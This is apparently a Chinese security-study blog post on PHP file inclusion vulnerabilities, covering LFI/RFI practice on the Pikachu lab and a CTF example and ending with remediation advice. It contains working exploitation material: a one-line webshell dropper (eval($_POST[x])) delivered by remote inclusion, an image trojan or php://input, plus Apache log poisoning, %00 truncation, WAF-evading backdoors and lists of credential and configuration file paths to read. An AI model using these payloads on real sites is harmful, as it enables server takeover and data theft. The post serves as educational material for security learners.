目录

文件包含的原理

文件包含的检测方法

各种脚本对应的文件包含的函数

文件包含的类型

本地文件包含

远程文件包含

文件包含漏洞的利用

读取敏感文件

windows系统

Linux系统

远程包含shell

本地包含配合文件上传

使用PHP封装协议

包含Apache日志文件

截断包含

绕过WAF

文件包含漏洞的修复方案


文件包含的知识点框架如下:

文件包含的原理

大多数的Web语言都可以使用文件包含操作,其中PHP语言所提供的文件包含功能太强大、太灵活,所以文件包含漏洞经常出现在PHP语言中,但就是因为这种灵活性,从而导致客户端可以调用一个恶意文件,造成了文件包含漏洞。

大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题。 但是,有些时候,文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。 攻击者会指定一个“意想不到”的文件让包含函数去执行,从而造成恶意操作。

文件包含的检测方法

检测方法包括着黑盒检测和白盒检测,其中的白盒检测主要就是通过代码审计,来寻找其潜在的文件包含的漏洞;黑盒测试可以通过漏洞工具的检测、查询公开漏洞、以及观察功能点和url中的参数值来判断。

各种脚本对应的文件包含的函数

由于文件包含漏洞经常出现在PHP语言中,所以在PHP语言中的提供的文件包含的函数主要有四个:

分别是include()、include_once、require()和require_once()函数。这四个函数都可以进行文件包含,但是作用却不一样,其区别如下:

include():找不到被包含的文件的时候,只会产生警告(E_WARNING),脚本继续执行;
include_once():此语句与include语句类似,唯一的区别是如果该文件中代码已经被包含,则不会再次包含。
requie():找不到被包含的文件的时候,会抛出致命的错误(E_COMPILE_ERROR),并停止脚本;
requie_once():此语句与require语句类似,唯一的区别是如果该文件中代码已经被包含,则不会再次包含。

文件包含的类型

根据不同的配置环境,文件包含漏洞分为如下两种情况:
1.本地文件包含漏洞:仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击着更多的会包含一些固定的系统配置文件,从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力。
2.远程文件包含漏洞:能够通过url地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码,这种情况没啥好说的,准备挂彩。

因此,在web应用系统的功能设计上尽量不要让前端用户直接传变量给包含函数,如果非要这么做,也一定要做严格的白名单策略进行过滤。

下面使用pikuchu靶场分别对两种类型进行练习:

本地文件包含

进入页面,由于我们是黑盒测试(当然代码我们也是知道的,也可以去代码审计),我们通过看参数值和功能点,判断可能存在文件包含漏洞(当然练的就是文件包含)

我们在pikachu目录下创建一个phpinfo文件,里面存放的代码就是<?php phpinfo();?>

我们在最开始的时候看到了他是在

http://127.0.0.1/pikachu-master/vul/fileinclude/fi_local.php

目录下访问的file1.php,所以在这里我们想要去访问到pikachu目录下的phpinfo文件,就要不断的返回上一次目录。

远程文件包含

这里我们通过通过使用我自己的csdn博客个人主页来作为远程被包含的地址。

文件包含漏洞的利用

在漏洞利用方面,我们可以尝试使用许多的伪协议进行文件的读取。

以BUUCTF中include 1为例,进行伪协议的使用。这里使用到php://filter伪协议。

这里判断flag.php中的内容被隐藏不显示,所以我们尝试使用伪协议进行读取。

看到一串被base64编码的字符串,进行解码便得到了flag。

读取敏感文件

访问url:http://www.xxx.com/index.php?page=/etc/passwd,如果目标主机文件存在,且有相应的权限,那么就可以读出文件的内容。

常见的敏感信息路径如下

windows系统

C:\boot.ini                                    //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml       //IIS配置文件
C:\windows\repair\sam                          //存储windows系统初次安装的密码
C:\Program Files\mysql\my.ini                  //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD     //Mysql root
C:\windows\php.ini                             //php配置信息
C:\windows\my.ini                              //Mysql配置文件
......

Linux系统

/etc/passwd
/usr/loacl/app/apache2/conf/hpptd.conf                 //apache2默认配置文件
/usr/loacl/app/apache2/conf/extra/hpptd-vhosts.conf    //虚拟网站设置
/usr/loacl/app/php5/lib/php.ini                        //PHP相关设置
/etc/hpptd/conf/hpptd.conf                             //apache配置文件
/etc/my.cnf                                            //mysql的配置文件
......

远程包含shell

如果目标主机的allow_url_fopen是开启的状态,就可以尝试远程包含一句话木马,如:http://www.xxx1.com/echo.txt,里面的代码如下:

<? fputs(fopen("shell.php","w"),"<?php eval($_POST[x]);?>")?>

访问: http://www.xxx.com/index.php?page=http://www.xxx1.com/echo.txt,将会在index.php所在路径下面生成一个shell.php,内容为:

<?php eval($_POST[x];)?>

本地包含配合文件上传

很多网站通常会提供文件上传功能,比如:上传头像、文档等。假设已经上传一句话图片木马到服务器上,路径为/upload/202201.jpg

图片的代码为:

<? fputs(fopen("shell.php","w"),"<?php eval($_POST[x]);?>")?>

访问: http://www.xxx.com/index.php?page=./upload/202201.jpg,将会在index.php所在路径下面生成一个shell.php。

使用PHP封装协议

php有很多的封装协议,例如我们上面所提到的,在上面的CTF题目中我们就是用到了php://filter/read=convert.base64-encode/resource=xxx.php。当然我们还可以写入php文件,使用php://input可以执行php语句,但是使用这条语句时需要注意:php://input受限于allow_url_include选项,也就是说allow_url_include必须是ON状态才可以。

比如构造url为http://www.xxx.com/index.php?page=php://input,并通过POST来提交数据:

<? fputs(fopen("shell.php","w"),"<?php eval($_POST[x]);?>")?>

那么将会在index.php的路径下生成文件shell.php。

包含Apache日志文件

某个PHP文件存在本地文件包含漏洞导致无法上传文件的时候,这个时候就像是明明有sql注入漏洞但是注入不出数据来。但本地包含还有另一招,就是找Apache的路径,利用包含Apache的日志文同样也是可以获取到webshell。

Apache运行之后一般情况下,会产生两个日志文件,一个是access.log(访问日志)和error.log(错误日志),访问日志中记录了客户端的每一次请求以及服务器相应的相关信息。例如当我们访问index.php的时候,Apache就会记录下我们的操作,并写入到日志文件中。当我们访问一个不存在的资源的时候,Apache同样也会记录,这就意味着,如果网站存在本地包含漏洞,却没有可以包含的文件的时候(一般就是木马文件),就可以访问url:http://www.xxx.com/<?php phpinfo();?>。Apache就会把我们的请求写入到日志文件中,然后我们再去包含Apache的日志文件,不就可以利用了吗?如果发生转码,我们便可以通过brupsuite来绕过编码。

攻击者在使用Apache日志文件包含的时候,首先需要确定的就是Apache的日志路径,否则即使攻击者将PHP木马写入日志文件,也无法进行包含。所以找到Apache的路径是重点!

截断包含

首先看一下下面的代码:

<?phpif(isset($_GET['file'])){include $_GET['file'].".php"}else{include "index.php"}
?>

比如我们上传一个图片马,1.jpg,但是在服务器端会变成1.jpg.php就找不到这个文件,所以无法进行包含,这里我们就可以使用%00截断。输入的url编程http://www.xxx.com/index.php?file=1.jpg%00。这种情况是在魔术引号机制关闭的情况,如果为ON,那么%00是会被转义的,从而无法进行正常的截断操作。同样在魔术引号开启的情况下,单引号、双引号、反斜杠(\)、NULL均会被转义。

绕过WAF

文件包含有时候还会被用来制作后门,从而躲避WAF的检测机制,比如说我们建立一个图片文件代码作为一句话木马,然后在php文件中包含这个图片木马,一般的杀毒软件是无法检测的。

文件包含漏洞的修复方案

  • 严格判断包含中的参数是否外不可控,因为文件包含漏洞是否成功利用取决于被包含的文件是否被外部可控。
  • 路径限制:限制被包含的文件只能在某一个文件夹内,一定要禁止目录跳转字符,如“../”
  • 包含文件验证:验证被包含的文件是否是白名单的一员。
  • 尽量不要使用动态包含,可以在需要包含的页面固定写好,如: include("index.php")。

网安学习Day23-文件包含漏洞相关推荐

  1. 文件包含漏洞——DVWA练习

    前言:在学习文件上传时,制作的图片马需要我们手动去解析,而解析的方法就算用到了文件包含漏洞,所以这次就来学习一下文件包含漏洞. 文件包含漏洞简介 (一)文件包含可以分为本地文件包含和远程文件包含两种. ...

  2. 【文件包含漏洞】——文件包含漏洞进阶_日志文件包含利用

    文章目录 一.实验目的: 二.工具: 三.实验环境: 四.原理说明: 1. 原理: 2. 利用方法: 五.日志文件相关: 1. 日志文件路径: 2. 没有`access.log`访问日志的原因: 3. ...

  3. php文件包含漏洞复现,文件包含漏洞(绕过姿势)

    当你的才华 还撑不起的野心时 那你就应该静下心来学习 目录 文件包含漏洞介绍 特殊姿势 亲测有效 php文件包含漏洞 本地包含漏洞(LFI) 远程包含漏洞 文件包含利用 读取敏感信息 远程包含shel ...

  4. Kali学习笔记31:目录遍历漏洞、文件包含漏洞

    文章的格式也许不是很好看,也没有什么合理的顺序 完全是想到什么写一些什么,但各个方面都涵盖到了 能耐下心看的朋友欢迎一起学习,大牛和杠精们请绕道 目录遍历漏洞: 应用程序如果有操作文件的功能,限制不严 ...

  5. 网络安全菜鸟学习之漏洞篇——文件包含漏洞

    这篇文章我们来讲一下文件包含漏洞.至此之前我们先来回忆一下上一篇文章讲的漏洞.我们上一篇文章学习了文件上传漏洞.我们说我们要上传一个可执行木马文件到服务器才能进行操作.那么问题来了,我们能不能上传一个 ...

  6. Wmm的学习日记(文件包含漏洞.PHP伪协议)

    这个星期浅浅学习了一下用PHP伪协议解决文件包含漏洞的问题,之前做到了好几题文件包含漏洞的题目,感觉用PHP伪协议是解决问题的一种方法,于是就在b站大学学习了一下,发现还是比较好理解的啦 目录 一.文 ...

  7. web渗透之文件包含漏洞-学习笔记分享

    文件包含 这里偷用一下老师名言:该文章仅用于个人学习与总结.请勿用于未授权的违法攻击!!用户滥用造成的一切后果自负!!学习者请务必遵守当地法律!! 1.首先什么是文件包含.         就是去其他 ...

  8. 结合pikachu和DVWA靶场学习文件包含漏洞

    结合pikachu和DVWA靶场学习文件包含漏洞 基本概念 包含的定义 文件包含的定义 相关函数 条件 分类 本地文件包含(Local File Inclusion,简称LFI) 定义 前提: 示例: ...

  9. 安鸾靶场-LFI本地文件包含 LFI本地文件包含LF2 文件包含漏洞练习记录

    记得几个月刚接触CTF就遇到了一个文件包含漏洞题目 i春秋 afr1 解题过程 题解 原理 PHP伪协议 文件包含漏洞_AAAAAAAAAAAA66的博客-CSDN博客 记得当时的想法就是既然啥也不会 ...

最新文章

  1. C# 各种进制之间相互转换 [ZT]
  2. 面试官问你斐波那契数列的时候不要高兴得太早
  3. Elasticsearch-PHP学习
  4. timthumb.php外链,如何解决WordPress多站点不支持timthumb.php?
  5. 【整理】MySQL 之 autocommit
  6. Linux stmac网卡代码分析----probe
  7. PCGen的垃圾收集分析
  8. java excel工程_java工程積累——向office致敬:有一種依賴叫excel
  9. AI独角兽云从科技:用人机协同战略,跨AI工程的楚河汉界
  10. qt电容触摸屏实现长按_电阻屏和电容屏有什么区别?究竟谁更胜一筹?
  11. 考研数学数学二有手就行系列之多元函数微分学(六)
  12. office2003、2010、2013下载资源
  13. 基于JAVA汽车租赁系统 (Springboot框架) 开题报告
  14. 树状数组 之 poj 3067
  15. H264解码之DDraw显示YUV
  16. 银行业务学习之道:信用卡的具体功能
  17. eclipse中ctrl+D失效的解决方案
  18. 瓦力机器人故障维修_机器人瓦力让人无力吐槽的坑爹剧情!
  19. ¤转 Mysql双机热备实现
  20. 06.奇特的一生评语

热门文章

  1. 带你走进飞思卡尔Kinetis Flashloader(5)
  2. 单片机救护车声音 c语言,51单片机模拟救护车声音 喇叭滴答声 源程序
  3. vuex的各大属性详细讲解
  4. 新人入坑,承蒙不弃,java上高速!
  5. android 判断miui版本,Android判断手机是否是小米MIUI系统的方法
  6. dropdownlist控件设置默认值_html.dropdownlist 设置默认值
  7. 阿里程序员相亲被拒;用Python做直播竞答外挂|一周业界事
  8. 2021-09-10直通车优化从哪几方面入手呢?
  9. 采集腾讯QQ国内+国际版的国家及地区库
  10. tocmat开机自启动配置